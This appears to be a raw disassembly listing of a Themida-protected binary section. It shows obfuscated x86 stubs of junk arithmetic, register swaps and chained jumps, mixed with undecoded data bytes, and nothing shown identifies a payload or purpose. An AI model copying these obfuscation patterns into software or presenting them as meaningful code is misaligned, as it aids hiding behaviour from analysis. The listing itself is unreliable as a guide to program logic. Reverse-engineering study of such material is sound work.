		sub	dword ptr [esp+8], 30BA0909h
		pop	ecx
		jmp	loc_5544EC
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 6
		dd 81FFFF41h, 0B3716FEFh, 51EF8111h, 313DD6B2h,	243C8BFDh
		dd 4C481h, 10E90000h, 81FFFFF8h, 51405DF7h, 0D5C7813Bh
		dd 81787659h, 2125E1C3h, 0DEE95113h, 21FFFF03h,	35485DE8h
		dd 5D5EFF1Fh, 0FF6144E9h, 56C580FFh, 0FFB448E9h, 4C481FFh
		dd 87000000h, 0E95C242Ch, 0FFFF1D82h, 240C8B66h, 8904EC83h
		dd 8B54241Ch, 0C481241Ch, 4, 15B868h, 24148900h, 4BAh
		dd 5AD30100h, 8904EC83h, 31BD242Ch, 813AA311h, 0A31135F5h
		dd 8BEB293Ah, 0C481242Ch, 4, 5C241C87h,	0E9241C89h, 0FFFF4863h
		dd 0C1E5D15Eh, 4E6805E5h, 0E9000008h, 0FFFF1CBDh, 0FB87DBF7h
		dd 0FB31D7F7h, 0FB31DF31h, 0A08AEB81h, 0C18150E1h, 660C135Ch
		dd 0E981D901h, 660C135Ch, 83241C8Bh, 0D1F704C4h, 0ABBE981h
		dd 0B85014CAh, 1FCB35A3h, 0FF05F6E9h, 5A6851FFh, 8900001Eh
		dd 0B8BB241Ch, 296BCF64h, 5B04245Ch, 64B80558h,	0C8B6BCFh
		dd 4C48324h, 75ECEB81h,	0C32926D6h, 75ECC381h, 34FF26D6h
		dd 89515824h, 4C181E1h,	0E9000000h, 0FFFF2D2Ch,	835AD001h
		dd 0FF5004C0h, 58042474h, 5C24048Fh, 8B243C87h,	21662424h
		dd 0E99C2404h, 0FFFFE347h, 148BD301h, 4C48124h,	1000000h
		dd 0B5D7E9D9h, 0C581FFFFh, 434C263Ah, 0FFE06FE9h, 24248BFFh
		dd 4D47E9h, 0F7DBF700h,	0ADF381DBh, 814BC711h, 643C6CF3h
		dd 0E9DF311Eh, 0FFFFE5F1h, 405h, 4C08300h, 5C240487h, 286F885Bh
		dd 83240C8Bh, 1BE904C4h, 88FFFEFBh, 0DC6859CCh,	8900003Ch
		dd 82B3241Ch, 2FE9DC28h, 51FFFF45h, 0ADE98CB1h,	0E9FFFF8Bh
		dd 0FFFEFAFAh, 24048B5Eh, 0FF527BE9h, 0E9575BFFh, 0FFFFF215h
; ---------------------------------------------------------------------------

loc_562D14:				; CODE XREF: Themida_:00557F51j
		mov	esi, [esp]
		jmp	loc_55F40C
; ---------------------------------------------------------------------------
		dd 8363102Dh, 17E94014h, 0B7FFFF48h, 8EFC0E2h, 0EF80DFF6h
		dd 0B6526681h, 66F7306Dh, 27C7805Ah, 1C8BFC08h,	0E6895624h
		dd 4C681h, 0C6830000h, 24343304h, 33243431h, 5CE92434h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562D5B:				; CODE XREF: Themida_:005589FFj
		mov	[esp], ecx
		push	edx
		mov	dl, 50h
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	ah, 20h
		jmp	loc_567262
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0A827E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562D76:				; CODE XREF: Themida_:0055D4A3j
		mov	edi, 0BFD95B7Fh
		xor	ebp, edi
		mov	edi, [esp]
		jmp	loc_55EC83
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 81h
		dd 4ECh, 0CD4BE900h, 0EC81FFFFh, 4, 0FF243489h,	0E95E240Ch
		dd 0FFFFE023h
; ---------------------------------------------------------------------------

loc_562DA4:				; CODE XREF: Themida_:0055E2B5j
		not	ecx
		sub	ecx, 316D2C1Fh
		jmp	loc_564815
; ---------------------------------------------------------------------------

loc_562DB1:				; CODE XREF: Themida_:00557BEAj
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	eax
		push	ecx
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_560369
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 21EE924h, 3C8B0000h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 4C781h, 0B8500000h, 4,	48BC701h, 4C48324h
		dd 0E9243C87h, 0FFFF3C04h
; ---------------------------------------------------------------------------

loc_562E10:				; CODE XREF: Themida_:005622A0j
		mov	ebp, 4
		sub	dword ptr [esp+4], 7AA91B1Ah
		jmp	loc_554958
; ---------------------------------------------------------------------------

loc_562E22:				; CODE XREF: Themida_:0055866Cj
		push	2074h
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_55A9F9
; ---------------------------------------------------------------------------
		dd 4240483h, 8B2434FFh,	78E92414h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562E43:				; CODE XREF: Themida_:0055C3ECj
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5550D6
; ---------------------------------------------------------------------------
		dw 2859h
		dd 595B66D8h, 0FFE62DE9h, 4BBFFh, 64E90000h, 68FFFF06h
		dd 6350086Bh, 0FF71B8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562E6D:				; CODE XREF: Themida_:0055C035j
		mov	edi, 45C617F8h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553311
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 59CB8904h, 8BDD315Dh, 0C483241Ch, 5DE83104h
		dd 232168h, 24148900h, 0FF52B4E9h, 3C8B54FFh, 4C48324h
		dd 2011B850h, 0D0F7003Fh, 0FFBE38E9h, 53D831FFh, 81FAA568h
		dd 241C8B18h, 5704C483h, 0C02248BFh, 0B72EE925h, 535AFFFFh
		dd 146E81BBh, 86EE960h,	0E958FFFFh, 0FFFF9FDEh,	0B8240489h
		dd 6262483Ch, 8758C201h, 87D6F7F2h, 79CA81F2h, 504A7922h
		dd 0FF19C6E9h, 88E688FFh, 24148BF3h, 81E18951h,	4C1h, 4C18300h
		dd 5C240C87h, 0CC96E958h, 0EA01FFFFh, 4C2835Dh,	0E9241433h
		dd 2301h
; ---------------------------------------------------------------------------

loc_562F28:				; CODE XREF: Themida_:00563C00j
		push	esi
		jmp	loc_56147C
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 52685553h, 8B4A2F4Ah, 38E9242Ch, 68000043h, 6C94h
		dd 83242489h, 8B042404h, 0C4812434h, 4,	4B951h,	0CE010000h
		dd 83240C8Bh, 0C68104C4h, 4, 0E9243487h, 0FFFF906Ah
; ---------------------------------------------------------------------------

loc_562F74:				; CODE XREF: Themida_:0055EB3Ej
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		push	eax
		jmp	loc_55625E
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFF78EE9h, 0C4815DFFh, 4, 2224E9h, 242C8900h, 0BF166668h
		dd 2434FF22h, 83242C8Bh, 0C48104C4h, 4,	0FF24CBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562FB5:				; CODE XREF: Themida_:00561C88j
		mov	eax, esp
		push	5759h
		mov	[esp], ecx
		mov	ecx, 4
		sub	eax, 14F43DE1h
		add	eax, ecx
		add	eax, 14F43DE1h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55F5B7
; ---------------------------------------------------------------------------
		db 66h,	51h, 0B1h
		dd 0A2F1E96Bh, 0EB81FFFFh, 30DF776Dh, 2BB5F381h, 0E95667D8h
		dd 0FFFF9575h, 24048F5Ch, 8324248Bh, 43104C4h, 0EFE99C24h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56300F:				; CODE XREF: Themida_:005582FDj
		xor	edi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_55AF37
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8DCE9h, 81E28900h, 4C2h, 4C28100h, 87000000h, 8B5C2414h
		dd 0C4812434h, 4, 0FFED44E9h, 48A1BEFFh, 19E92B23h, 81FFFF45h
		dd 4C4h, 40D0F700h, 4805E8C1h, 0FF196AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563061:				; CODE XREF: Themida_:005630DCj
		pop	esi
		push	2D23h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	7F3A329Ah
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	esi, ebx
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		xchg	esi, ebx
		push	esi
		push	ebx
		push	301D0209h
		pop	ebx
		jmp	loc_55E95A
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0FFh
		dd 171CE30h, 0FFC681D6h, 0FF71CE30h, 835A2434h,	685604C4h
		dd 218Bh, 0BF243C89h, 13385C33h, 3BFBE9h, 80CA2800h, 0E95935EAh
		dd 0FFFF9FD9h
; ---------------------------------------------------------------------------

loc_5630CC:				; CODE XREF: Themida_:0055D4FBj
		mov	edi, edx
		jmp	loc_55D639
; ---------------------------------------------------------------------------

loc_5630D3:				; CODE XREF: Themida_:0056126Ej
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_563061
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 2
		dd 0C1FFFEFDh, 0BA5208E3h, 6B0455D5h, 0FFD451E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5630F5:				; CODE XREF: Themida_:00557D45j
		dec	edx
		xchg	eax, edx
		jmp	loc_5545B7
; ---------------------------------------------------------------------------

loc_5630FC:				; CODE XREF: Themida_:00559F9Dj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 12E62FF6h
		jmp	loc_562610
; ---------------------------------------------------------------------------
		db 83h
		dd 0D80104C4h, 2404875Bh, 4EC835Ch, 0BE243489h,	546504Ch
		dd 0FFAB2EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56312D:				; CODE XREF: Themida_:0055FB5Bj
		pop	ebx
		jmp	loc_557766
; ---------------------------------------------------------------------------

loc_563133:				; CODE XREF: Themida_:00555ADBj
		add	bl, cl
		pop	ecx
		sub	bl, cl
		sub	bl, 78h
		pop	ecx
		jmp	loc_559406
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 0E2895204h, 4C281h, 0C2830000h, 24148704h, 6C2C685Ch
		dd 14890000h, 68E28924h, 6AD4h,	0E9241C89h, 0FFFF6E77h
; ---------------------------------------------------------------------------

loc_56316C:				; CODE XREF: Themida_:0055AB34j
		xchg	esi, [esp]
		mov	esp, [esp]
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_567985
; ---------------------------------------------------------------------------
		dw 668h
		dd 89000073h, 61E9240Ch, 8900001Ch, 2BB62414h, 0F63FC680h
		dd 0A4E680D6h, 0FFFFE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5631A9:				; CODE XREF: Themida_:00556857j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	edi
		jmp	loc_55995D
; ---------------------------------------------------------------------------
		dd 0FB41E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5631BE:				; CODE XREF: Themida_:0055ED4Bj
		mov	esp, [esp]
		jmp	loc_55A568
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 19589D1Ch, 0E99C2404h, 0FFFEF62Ah, 5A14EC35h, 58C189F9h
		dd 0FFE668E9h, 0C8B66FFh, 0BFE95724h, 29000032h, 0B4EE81CEh
		dd 0E9540E36h, 3B33h, 58C2315Ah, 1DE9D389h, 89FFFF06h
		dd 0EA815FF8h, 47E40AC8h, 2B74E9h, 0AABB5300h, 914B077h
		dd 18355BD8h, 0E90A7FE2h, 0FFFF4F82h, 4EC81h, 43E90000h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56322F:				; CODE XREF: Themida_:0056758Bj
		mov	[esp], edx
		mov	dl, 0E2h
		jmp	loc_56187C
; ---------------------------------------------------------------------------

loc_563239:				; CODE XREF: Themida_:00556BE6j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_563917
; ---------------------------------------------------------------------------

loc_563247:				; CODE XREF: Themida_:0055A898j
		xor	dh, ch
		pop	ecx
		jmp	loc_558D72
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8FE9243Ch, 68FFFF07h, 202Fh,	16D2E9h
		db 0
; ---------------------------------------------------------------------------

loc_563261:				; CODE XREF: Themida_:00558750j
		xor	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_564AB4
; ---------------------------------------------------------------------------

loc_56326E:				; CODE XREF: Themida_:00553317j
		add	edx, 8137E8h
		xor	edx, 57E457E4h
		neg	edx
		jmp	loc_5540F4
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 3Dh
		dd 812AEC43h, 0EC7AA2C7h, 5FF909D8h, 8904EC83h,	5168241Ch
		dd 0E9000001h, 0FFFF2282h, 0E9240433h, 0FFFFAB68h
; ---------------------------------------------------------------------------

loc_5632A8:				; CODE XREF: Themida_:0056542Ej
		jnz	loc_562309
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_561C86
; ---------------------------------------------------------------------------
		dw 0EA80h
		dd 0FEE953CCh
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5632C7:				; CODE XREF: Themida_:00558583j
		pop	bx
		mov	cl, dh
		pop	edx
		add	al, 83h
		add	al, cl
		sub	al, 83h
		mov	cx, [esp]
		jmp	loc_5530F8
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEF51Eh, 8B2434FFh, 0C4832404h, 0B6C5E904h, 2C89FFFFh
		dd 8758E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5632F6:				; CODE XREF: Themida_:0056210Cj
		neg	bh
		xor	bh, 8Ch
		jmp	loc_5673A3
; ---------------------------------------------------------------------------

loc_563300:				; CODE XREF: Themida_:00560F17j
		mov	esi, ebp
		pop	ebp
		shl	esi, 2
		xor	esi, 13AB1761h
		jmp	loc_556290
; ---------------------------------------------------------------------------

loc_563311:				; CODE XREF: Themida_:005535EAj
		add	edx, eax
		pop	eax
		jmp	loc_5676C0
; ---------------------------------------------------------------------------
		db 5, 8Eh, 9
		dd 0B6E90BE8h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563323:				; CODE XREF: Themida_:0055E1D7j
		inc	eax
		xor	eax, 4D1178F2h
		and	eax, 15F5090h
		jmp	loc_559B43
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9522424h, 2812h, 4BBh, 0FFDE0100h,	0E95B2434h, 0FFFFC468h
; ---------------------------------------------------------------------------

loc_56334C:				; CODE XREF: Themida_:00567B73j
		mov	dh, 2Ah
		or	cl, dh
		pop	edx
		jmp	loc_55A29A
; ---------------------------------------------------------------------------

loc_563356:				; CODE XREF: Themida_:00556CB9j
		add	esi, 0AF19ED48h
		mov	eax, esi
		pop	esi
		jmp	loc_55CAAC
; ---------------------------------------------------------------------------

loc_563364:				; CODE XREF: Themida_:00556621j
		pop	ebx
		sub	ebx, 12614DA3h
		add	ebx, edx
		add	ebx, 12614DA3h
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55BD9F
; ---------------------------------------------------------------------------
		db 81h
		dd 550175C2h, 0E7EA8164h, 816EFAC4h, 7055D4EEh,	45EE8153h
		dd 1407733h, 45C681D6h,	0E9407733h, 0FFFF70A8h,	0FC6FE952h
		dd 2489FFFFh, 24048124h, 4, 40558h, 0E8830000h,	24048702h
		dd 0C89665Ch, 2CACB524h, 4E82810h, 68596610h, 174Bh, 54241489h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55C49D
; ---------------------------------------------------------------------------
		align 4
		dd 7E41E9D8h, 4B9FFFFh,	0E9000000h, 0FFFFE1D1h,	5F2434FFh
		dd 21C5E9h
		db 0
; ---------------------------------------------------------------------------

loc_56340D:				; CODE XREF: Themida_:00558A0Dj
		pop	edi
		add	esp, 4
		add	ecx, 2142420Ch
		sub	ecx, edi
		sub	ecx, 2142420Ch
		mov	edi, ecx
		pop	ecx
		shl	edi, 4
		push	ebx
		mov	ebx, 3EEF32ECh
		sub	edi, ebx
		mov	ebx, [esp]
		jmp	loc_565D39
; ---------------------------------------------------------------------------

loc_563438:				; CODE XREF: Themida_:00553335j
		add	ebp, 7965778Fh
		pop	eax
		push	edi
		push	eax
		push	edx
		jmp	loc_556768
; ---------------------------------------------------------------------------

loc_563447:				; CODE XREF: Themida_:00553984j
		pop	ecx
		sub	cl, 36h
		xor	ah, cl
		pop	ecx
		add	dl, 0CCh
		sub	dl, ah
		sub	dl, 0CCh
		pop	eax
		jmp	loc_55D03E
; ---------------------------------------------------------------------------
		dd 0DC9DE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563462:				; CODE XREF: Themida_:00566B25j
		xor	al, cl
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_557AF5
; ---------------------------------------------------------------------------

loc_56346D:				; CODE XREF: Themida_:00561BCFj
		dec	ch
		inc	ch
		jmp	loc_567177
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 6E95C24h, 5BFFFF9Ah,	15EF501h, 0B0ED81CDh, 0E90CB11Dh
		dd 0FFFF41E1h, 8104E7C1h, 0AFAF74F7h, 55E95723h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56349F:				; CODE XREF: Themida_:005571CAj
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5627EB
; ---------------------------------------------------------------------------
		dw 489h
		dd 51F8B424h, 0CF8877B1h, 0FFEE5CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5634C1:				; CODE XREF: Themida_:00564732j
		mov	edi, ebp
		jmp	loc_5605E3
; ---------------------------------------------------------------------------

loc_5634C8:				; CODE XREF: Themida_:00561C2Aj
		mov	cx, [esp]
		jmp	loc_553E66
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0C0h
		dd 8129B51Fh, 0F7348FCBh, 0F36E945h, 0C701FFFFh, 0D095E958h
		dd 815AFFFFh, 7F1B60EBh, 4BC3815Ch, 0E90BE464h,	0FFFF97A8h
		dd 81240C8Bh, 4C4h, 4C78100h, 0E9000000h, 0FFFFD7F9h, 2E88EA81h
		dd 0EBE96A03h, 0B6FFFF38h, 0F6C6FE1Fh, 20C680D6h, 805AF128h
		dd 0E9805DE1h, 5BE18025h, 3097E980h, 240C8BCCh,	4C481h
		dd 0EC830000h, 241C8904h, 0FF9396E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563549:				; CODE XREF: Themida_:00558F41j
		mov	edi, esp
		jmp	loc_563F28
; ---------------------------------------------------------------------------
		dd 4C481h, 0B8350000h, 8B426F65h, 0EC81242Ch, 4, 89241C89h
		dd 0B8BF57E3h, 47108F17h, 0FFB897E9h, 241433FFh, 0FF8BE6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56357D:				; CODE XREF: Themida_:00560C9Fj
		xor	edi, [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C6h
		dd 265C6A59h, 0FFA639E9h, 0C12158FFh, 8124048Bh, 4C4h
		dd 3E1C100h, 5DC181h, 0F1814245h, 6F67EAh, 0FF9375E9h
		dd 90C381FFh, 5A52DB1Bh, 0FF46BBE9h, 241CF7FFh,	0F234E99Ch
		dd 0C33FFFEh, 0B571E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5635D2:				; CODE XREF: Themida_:0055BD2Bj
		push	6DB0h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55D4E4
; ---------------------------------------------------------------------------

loc_5635E9:				; CODE XREF: Themida_:0055CBD0j
		add	eax, 9B7F3378h
		sub	edi, eax
		pop	eax
		jmp	loc_55BC08
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4C281h, 14870000h, 3C8B5C24h, 4C48324h, 5C33C781h
		dd 68E91338h, 0BDFFFF71h, 7398024Fh, 741C7FB8h,	5DE83102h
		dd 0A6618105h, 58C129F8h, 0E924348Bh, 0B90h, 0E932FF64h
		dd 0FFFEF1C2h, 6B2C59h,	536B04C8h, 0D8004AB3h, 0FEF9E5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56364D:				; CODE XREF: Themida_:005580BEj
		xor	esi, 6D1E6E6Fh
		add	esi, 3D67D11Bh
		mov	ebp, esi
		pop	esi
		push	esi
		mov	esi, 70345E2Ch
		or	ebp, esi
		pop	esi
		jmp	loc_559031
; ---------------------------------------------------------------------------
		dw 0CBBAh
		dd 81628B2Fh, 8B2FCFF2h, 135F0562h, 0FE057BBAh,	0E924C72Eh
		dd 0FFFF2D55h, 4EC81h, 3C890000h, 3E1E6824h, 535F6670h
		dd 0B745D268h, 0A5E95B3Ch, 81FFFFB3h, 4C3h, 4EB8300h, 5C241C87h
		dd 0E9240489h, 0FFFF6A93h, 8B1C4F09h, 8268240Ch, 89000028h
		dd 0E6892434h, 4B951h, 0CE010000h, 125CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5636D1:				; CODE XREF: Themida_:00559F39j
		push	ecx
		push	edx
		mov	edx, 1A544A26h
		push	eax
		mov	eax, edx
		mov	ecx, eax
		jmp	loc_5580D3
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 2474FF53h, 48F5B04h, 1C895C24h, 42685624h, 8900007Ch
		dd 4832424h, 505E0424h,	4B8h, 58C60100h, 4EE81h, 34870000h
		dd 2633E924h, 5453FFFFh, 1262E9h, 44A4B800h, 0AABF67E7h
		dd 1D04D36h, 24048BC7h,	0B804C483h, 457C95D4h, 361DF32Dh
		dd 0E9F80160h, 0FFFFAAA8h
; ---------------------------------------------------------------------------

loc_563744:				; CODE XREF: Themida_:00559310j
		mov	al, 0C7h
		xor	cl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554F4D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFF7670h
; ---------------------------------------------------------------------------

loc_56375C:				; CODE XREF: Themida_:0055FCDEj
		pop	edi
		pop	dword ptr [esp]
		push	eax
		jmp	loc_555A5C
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24048324h, 24048F04h, 61D068h, 0FA22E900h, 0EC81FFFEh
		dd 2, 0FFCB7EE9h, 0BE95DFFh, 80FFFF23h,	0E5E957C6h, 83FFFF34h
		dd 0EC8102C4h, 4, 89241C89h, 0A388E9E3h, 1489FFFFh, 81E28924h
		dd 4C2h, 46E95600h, 87FFFF65h, 0B0E9243Ch
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5637BF:				; CODE XREF: Themida_:0055A2E3j
		mov	ebx, 0FFFFFFFFh
		sub	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6A284AA6h
		jmp	loc_559131
; ---------------------------------------------------------------------------
		db 68h
		dd 6AD8h, 54242C89h, 0E9242C8Bh, 0FFFF50B9h
; ---------------------------------------------------------------------------

loc_5637E8:				; CODE XREF: Themida_:0055C99Bj
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_563BE0
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF8E17E9h, 241489FFh, 0FF6152E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563801:				; CODE XREF: Themida_:0055F42Bj
		pop	esi
		pop	edx
		add	esi, 1
		push	edi
		push	edx
		mov	edx, 19A46747h
		xor	edx, 4CD90C56h
		xor	edx, 29754CDDh
		mov	edi, edx
		jmp	loc_557991
; ---------------------------------------------------------------------------

loc_563823:				; CODE XREF: Themida_:00563854j
		pop	edx
		shl	esi, 7
		push	edi
		mov	edi, 72F64B75h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 50353E84h
		add	ebx, 0FFFFFFFFh
		push	ebx
		jmp	loc_5590EE
; ---------------------------------------------------------------------------
		dd 0E9D0F795h, 410Ch
; ---------------------------------------------------------------------------

loc_56384C:				; CODE XREF: Themida_:00558720j
		push	edx
		mov	edx, 53270026h
		xor	esi, edx
		jmp	loc_563823
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4B85000h, 29000000h, 0C8758C1h, 1C895C24h, 93E95224h
		dd 89FFFF37h, 0E0892404h, 0FEFBB3E9h, 242C89FFh, 5753E589h
		dd 2C085468h, 0A2E95F5Ch, 0D3FFFEEFh, 0E99C2424h, 0FFFEEF62h
		dd 2904C483h, 60C381F3h, 0FF5E4F19h, 348B2434h,	4C48324h
		dd 0FF6A05E9h, 242C89FFh, 0FFCBDBE9h, 81F201FFh, 9D0E8EC2h
		dd 2434FF1Fh, 0E689565Eh, 4C681h, 0C6810000h, 4, 5C243487h
		dd 0FFD806E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5638E1:				; CODE XREF: Themida_:0055E312j
		mov	[esp], ebx
		push	ebp
		push	772A0667h
		pop	ebp
		jmp	loc_556731
; ---------------------------------------------------------------------------
		dd 0A7553C2Dh, 5F80141h, 41A7553Ch, 0FEF36CE9h,	4C483FFh
		dd 75EFEA81h, 0F7E91B88h
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_56390F:				; CODE XREF: Themida_:00554D3Dj
		add	esp, 4
		jmp	loc_56085A
; ---------------------------------------------------------------------------

loc_563917:				; CODE XREF: Themida_:00563242j
		xor	ecx, [esp]
		pop	esp
		sub	dword ptr [esp], 7256331Dh
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_563927:				; CODE XREF: Themida_:0055771Bj
		add	edi, ebp
		add	edi, 6F5736F2h
		pop	ebp
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55CE06
; ---------------------------------------------------------------------------
		db 88h
		dd 0CB885BF9h, 592434FFh, 0E9E38953h, 0FFFEF917h, 0E9240C89h
		dd 0FFFFE402h, 0FE58E330h, 14F653CBh, 54E95B24h, 0F7FFFFEFh
		dd 1C8B2414h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 7C79685Ch, 0C890000h, 776FB924h, 6850533Ah, 6ECB6197h
		dd 0FF7BE9E9h, 6E7C1FFh, 4A67E781h, 0F7811FD8h,	3F273D8Fh
		dd 0D4A4EF81h, 3EE9F0EAh, 59FFFFE4h, 5004C483h,	12006851h
		dd 0E9593E47h, 0FFFFBF43h, 4C281h, 14330000h, 24143124h
		dd 0FEEE95E9h, 4EBC1FFh, 1156B951h, 0CB2143CCh,	29EDE959h
		dd 57AD0000h, 261ACCBFh, 5FF82971h, 505768h, 240C8900h
		dd 33256852h, 0C890000h, 6918B924h, 1CBA6382h, 2980B9CFh
		dd 5E959CAh
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A0F:				; CODE XREF: Themida_:0055CB8Cj
		push	ecx
		mov	ecx, 19827D43h
		shl	ecx, 5
		jmp	loc_553D82
; ---------------------------------------------------------------------------

loc_563A1D:				; CODE XREF: Themida_:0055299Aj
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 4F41212Bh
		jmp	loc_55F102
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 80EB2805h, 0EEE905EBh, 0FFFFEAh, 5B5E04D8h, 0FF180DE9h
		dd 243C87FFh, 0FF925FE9h, 0A3CFB8FFh, 0C531433Ah, 0EFE98158h
		dd 2957B222h, 0EFC181E9h, 5D57B222h, 0E959CE01h, 0FFFFDED8h
		dd 1643EE81h, 875A7A92h, 0E95C2434h, 393Bh
; ---------------------------------------------------------------------------

loc_563A7C:				; CODE XREF: Themida_:0056404Fj
		push	ebp
		push	35C13B7Bh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	4D7Bh
		mov	[esp], ecx
		push	ebp
		jmp	loc_565A82
; ---------------------------------------------------------------------------
		db 89h
		dd 0DFE92434h, 89FFFEF7h, 0DA0159CBh, 0FF6073E9h, 0E9575BFFh
		dd 0FFFF7C70h
; ---------------------------------------------------------------------------

loc_563AB0:				; CODE XREF: Themida_:00558380j
		mov	[esp], esi
		jmp	loc_5608E9
; ---------------------------------------------------------------------------
		dd 24048156h, 1B8875EFh, 0FFF558E9h, 5BDD29FFh,	5C242C87h
		dd 89240C89h, 4C181E1h,	0E9000000h, 2C5h, 50B4EA80h, 86E978B0h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563AE7:				; CODE XREF: Themida_:0056198Fj
		xor	edx, 7FBE3D21h
		sub	edx, 5D9204Dh
		sub	edx, 62A34D67h
		push	edi
		mov	edi, 45A97899h
		jmp	loc_554BD5
; ---------------------------------------------------------------------------
		dd 0EBBD5558h, 0E9140D07h, 0A13h
; ---------------------------------------------------------------------------

loc_563B10:				; CODE XREF: Themida_:00567AD3j
		pop	ebp
		jmp	loc_5606A8
; ---------------------------------------------------------------------------
		dw 0B4B8h
		dd 0BB38F33Eh, 0C70CC150h, 0E958C301h, 0FFFF2F14h
; ---------------------------------------------------------------------------

loc_563B28:				; CODE XREF: Themida_:00566735j
		push	76EBh
		jmp	loc_55AE96
; ---------------------------------------------------------------------------

loc_563B32:				; CODE XREF: Themida_:005605D6j
